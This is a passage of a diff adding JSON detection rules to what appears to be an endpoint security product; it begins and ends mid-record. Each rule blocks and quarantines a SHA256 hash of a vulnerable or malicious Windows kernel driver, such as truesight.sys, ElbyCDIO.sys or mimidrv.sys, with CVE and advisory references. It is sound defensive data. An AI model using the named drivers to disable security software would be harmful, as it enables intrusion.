+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e6e9037c7882b36352b507a386a23c71e46a7d8bdec78b0c5cdd3a087b217501",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a5547094-c3f0-5c32-8fa1-dc27bea34e53",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823206Z",
+  "creation_date": "2026-03-23T11:45:31.823209Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823218Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ba4ac170deb3dcd0ece289932d02c637d2e5e2d59dae5f08c9f115e7416b0905",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a583ef46-b68f-56b8-aa83-71efa6f02bfb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473031Z",
+  "creation_date": "2026-03-23T11:45:31.473035Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.473043Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6dfcd8e56c13bd0824c968f52d37f2d737ada3ddb158c8405202cb07e963eef5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a586ed20-1152-5cab-970f-9abca2b79dc5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972925Z",
+  "creation_date": "2026-03-23T11:45:29.972927Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972933Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2fbbc276737047cb9b3ba5396756d28c1737342d89dce1b64c23a9c4513ae445",
+  "comment": "Elaborate Bytes vulnerable driver (aka ElbyCDIO.sys) [CVE-2009-0824] [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a58dccbd-e6b7-5a59-8b24-056946e3691b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813169Z",
+  "creation_date": "2026-03-23T11:45:31.813172Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813180Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7a651ebf69a83d8ef85cdbe17b5a0bee94d30d52646ad935ecc5241641d8af16",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a592fa98-89fe-5cca-9fe6-9c5fa046d225",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816524Z",
+  "creation_date": "2026-03-23T11:45:31.816527Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816535Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b7bf9a7577b10d3a5fa76272aaf3514c70f7a1273b2e3380524138cea2b478fd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a59ad06d-30f1-5586-89ff-1978cac2644f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145844Z",
+  "creation_date": "2026-03-23T11:45:32.145847Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145852Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b6cb163089f665c05d607a465f1b6272cdd5c949772ab9ce7227120cf61f971a",
+  "comment": "Malicious Kernel Driver (aka avkiller.sys) [https://www.loldrivers.io/drivers/7a9d34e4-c660-4388-ab61-4fd6f6bf1ad4/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a59baf5f-a9d0-528c-a9fb-6251e3a3c8e5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487144Z",
+  "creation_date": "2026-03-23T11:45:31.487146Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487152Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "465db36e6ebb2674c666028ae6a84d545c215c84db0934a830f152e84f147339",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a5a64c9d-9180-58eb-8a88-03903d4ed730",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609937Z",
+  "creation_date": "2026-03-23T11:45:29.609939Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609951Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "92ca1aec3afc90b44861c2e0be084a3db38d22d52f35e1697643d6477151392f",
+  "comment": "Novell vulnerable driver (aka nicm.sys, nscm.sys and ncpl.sys) [CVE-2013-3956] [https://www.loldrivers.io/drivers/f4126206-564f-49f5-a942-2138a3131e0e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a5a8e4af-2f4f-5999-b4cc-58e4cb54d464",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828955Z",
+  "creation_date": "2026-03-23T11:45:30.828957Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828963Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "668fb6e2568126a60f21bbe063e35ef824fdbcd7551cd32076181cda71727909",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a5ab5005-0036-5709-8267-13807e73416f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812783Z",
+  "creation_date": "2026-03-23T11:45:31.812787Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812796Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0f5e68a95d3c4d654cb4a66067506baaf66470ecb425fbf137bfa4b765e79da6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a5b568ca-d0ba-51a2-bf9a-731d7f6d4fbe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.481518Z",
+  "creation_date": "2026-03-23T11:45:31.481522Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.481532Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a200f489bb41c22e69eb1ef4fdedb0142aebad4b7be1c2f7bee9792fa7d217a5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a5cd8675-4a66-5df6-936d-6d86875bec1f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815327Z",
+  "creation_date": "2026-03-23T11:45:31.815330Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815336Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e37f93ceffb27551bf7d0af47a1ac1f4f371c2491bfe7b9160d83ccbf7432f65",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a5d8bc37-9e2d-5c7a-8941-ea6d86fd4ce9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465793Z",
+  "creation_date": "2026-03-23T11:45:30.465796Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465805Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eab9b5b7e5fab1c2d7d44cd28f13ae8bb083d9362d2b930d43354a3dfd38e05a",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a5defc21-5ca4-5d1b-ac53-04a75aa37e0b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611498Z",
+  "creation_date": "2026-03-23T11:45:29.611500Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611505Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1a8a5aebf83d1fa6daf74e48fc600e22b8fdceafb5dd7c7e14db2aa2a28e8c24",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a5e6b5cd-c77b-5317-85fc-46cc8ad01f8b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822190Z",
+  "creation_date": "2026-03-23T11:45:30.822192Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822198Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "91e5f702691772cd1291ffbd2b645f06fda3b7b2c31c04ca28a3f4d728875cc6",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a5ea2f7d-5bb2-557a-85ab-152c67b0097c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140113Z",
+  "creation_date": "2026-03-23T11:45:31.140115Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140121Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ffb44c5c528aebbe6ba2c3512b7b38dbf87dcc0ffb061b242e497fa0a8b157e2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a5f57bc7-f9bb-5b55-baee-7a8521a85039",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810973Z",
+  "creation_date": "2026-03-23T11:45:31.810975Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810980Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "07a4ae3cfafd52437c1c3080ab38139c4a194db4e67a31a9118d799f04e9d356",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a5fbcbf4-4648-5581-b1f7-d1b990b37ae6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973077Z",
+  "creation_date": "2026-03-23T11:45:29.973079Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973085Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f85eb576acb5db0d2f48e5f09a7244165a876fa1ca8697ebb773e4d7071d4439",
+  "comment": "Elaborate Bytes vulnerable driver (aka ElbyCDIO.sys) [CVE-2009-0824] [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a6074328-30a6-57d9-a7a4-a961ff0b47c1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.500496Z",
+  "creation_date": "2026-03-23T11:45:31.500499Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.500507Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ed9948c70d70c1027251b6bd689d4145c6de042122348ebbecdf21bb6af6dbd4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a609325d-57d9-51cc-8fad-a5c70dca285a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979692Z",
+  "creation_date": "2026-03-23T11:45:29.979694Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979699Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "223b320fb86cd4a1019ce31ac6901ce6bc41792810bd995db232dad790398852",
+  "comment": "Malicious Kernel Driver (aka windbg.sys) [https://www.loldrivers.io/drivers/da7314dc-6cf1-4d74-a0d1-796fc08944f8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a614b181-20ff-5986-946e-992942f51cb7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156108Z",
+  "creation_date": "2026-03-23T11:45:31.156110Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156116Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e5a56c97fe3b994d0c73c1551cfcabfbd2e4ee7ce3fda9bc4d76f18c49c57145",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a61ad8a9-664a-59ae-a1eb-e091f2275a2d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608814Z",
+  "creation_date": "2026-03-23T11:45:29.608815Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608821Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7dcd81140dc57d1d412c39940643ea923a1925815097f83788d840c1a7b57d25",
